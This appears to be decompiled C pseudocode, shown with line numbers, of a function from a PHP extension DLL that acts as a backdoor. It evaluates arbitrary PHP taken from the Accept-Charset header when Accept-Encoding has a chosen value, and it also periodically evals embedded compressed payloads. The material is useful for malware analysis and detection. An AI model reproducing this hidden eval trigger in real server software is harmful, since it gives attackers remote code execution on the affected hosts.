1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159
| int __cdecl sub_10003490(int a1, int a2, int a3) { ...
memset(&v29, 0, 0xB0u); v30 = 0; v3 = *(_DWORD *)a3; v31 = 0; v4 = *(_DWORD *)(v3 + 4 * (_DWORD)core_globals_id - 4); v5 = *(_BYTE *)(v4 + 220) && !*(_BYTE *)(v4 + 217) && !*(_BYTE *)(v4 + 218); if ( v5 ) zend_is_auto_global("_SERVER", 7, a3); zend_hash_find(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 216, "_SERVER", 8, &v35); if ( zend_hash_find( *(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 216, "_SERVER", strlen("_SERVER") + 1, &v41) != -1 && zend_hash_find(**(_DWORD **)v41, "HTTP_ACCEPT_ENCODING", strlen("HTTP_ACCEPT_ENCODING") + 1, &v36) != -1 ) { if ( strcmp(**v36, "gzip,deflate") ) { v14 = strcmp(**v36, "compress,gzip"); if ( !v14 ) { v15 = &byte_10011B34; v16 = (signed int)&unk_1000C66C; v44 = &byte_10011B34; v17 = &unk_1000C66C; while ( 1 ) { if ( *(_DWORD *)v17 == 39 ) { v15[v14] = 92; v44[v14 + 1] = *(_BYTE *)v16; v14 += 2; v17 = (char *)v17 + 8; } else { v15[v14++] = *(_BYTE *)v16; v17 = (char *)v17 + 4; } v16 += 4; if ( v16 >= (signed int)&unk_1000D5C4 ) break; v15 = v44; } spprintf(&v38, 0, "$V='%s';$M='%s';", byte_10011A68, Dest); spprintf(&v44, 0, "%s;@eval(%s('%s'));", v38, "gzuncompress", v44); v18 = *(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4); v19 = *(_DWORD *)(v18 + 296); *(_DWORD *)(v18 + 296) = &v34; v42 = v19; v20 = setjmp3(&v34, 0); v21 = v42; if ( v20 ) { v22 = a3; *(_DWORD *)(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v42; } else { v22 = a3; zend_eval_string(v44, 0, &byte_10011B34, a3); } result = 0; *(_DWORD *)(*(_DWORD *)(*(_DWORD *)v22 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v21; return result; } } else { if ( zend_hash_find( *(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 216, "_SERVER", strlen("_SERVER") + 1, &v41) != -1 ) { if ( zend_hash_find(**(_DWORD **)v41, "HTTP_ACCEPT_CHARSET", strlen("HTTP_ACCEPT_CHARSET") + 1, &v39) != -1 ) { v42 = sub_10004440(**v39, strlen(**v39)); if ( v42 ) { v6 = *(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4); v7 = *(_DWORD *)(v6 + 296); *(_DWORD *)(v6 + 296) = &v32; v37 = v7; v8 = setjmp3(&v32, 0); v9 = v37; if ( v8 ) *(_DWORD *)(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v37; else zend_eval_string(v42, 0, &byte_10011B34, a3); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v9; } } } } } if ( dword_10011D60 - dword_10011D50 >= dword_1000C010 && dword_10011D60 - dword_10011D50 < 6000 ) { if ( strlen(byte_10011A68) == 0 ) sub_10004810(byte_10011A68); if ( strlen(Dest) == 0 ) sub_10004710(Dest); if ( strlen(byte_10011A9C) == 0 ) sub_10004870(byte_10011A9C); v10 = &byte_10011B34; v11 = (signed int)"x"; v43 = &byte_10011B34; v12 = 0; v13 = (int)"x"; while ( 1 ) { if ( *(_DWORD *)v13 == 39 ) { v10[v12] = 92; v43[v12 + 1] = *(_BYTE *)v11; v12 += 2; v13 += 8; } else { v10[v12++] = *(_BYTE *)v11; v13 += 4; } v11 += 4; if ( v11 >= (signed int)&unk_1000C66C ) break; v10 = v43; } spprintf(&v43, 0, "@eval(%s('%s'));", "gzuncompress", v43); v24 = *(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4); v25 = *(_DWORD *)(v24 + 296); *(_DWORD *)(v24 + 296) = &v33; v40 = v25; v26 = setjmp3(&v33, 0); v27 = v40; if ( v26 ) { v28 = a3; *(_DWORD *)(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v40; } else { v28 = a3; zend_eval_string(v43, 0, &byte_10011B34, a3); } *(_DWORD *)(*(_DWORD *)(*(_DWORD *)v28 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v27; if ( dword_1000C010 < 3600 ) dword_1000C010 += 3600; ftime(&dword_10011D50); } ftime(&dword_10011D60); if ( dword_10011D50 < 0 ) ftime(&dword_10011D50); return 0; }
|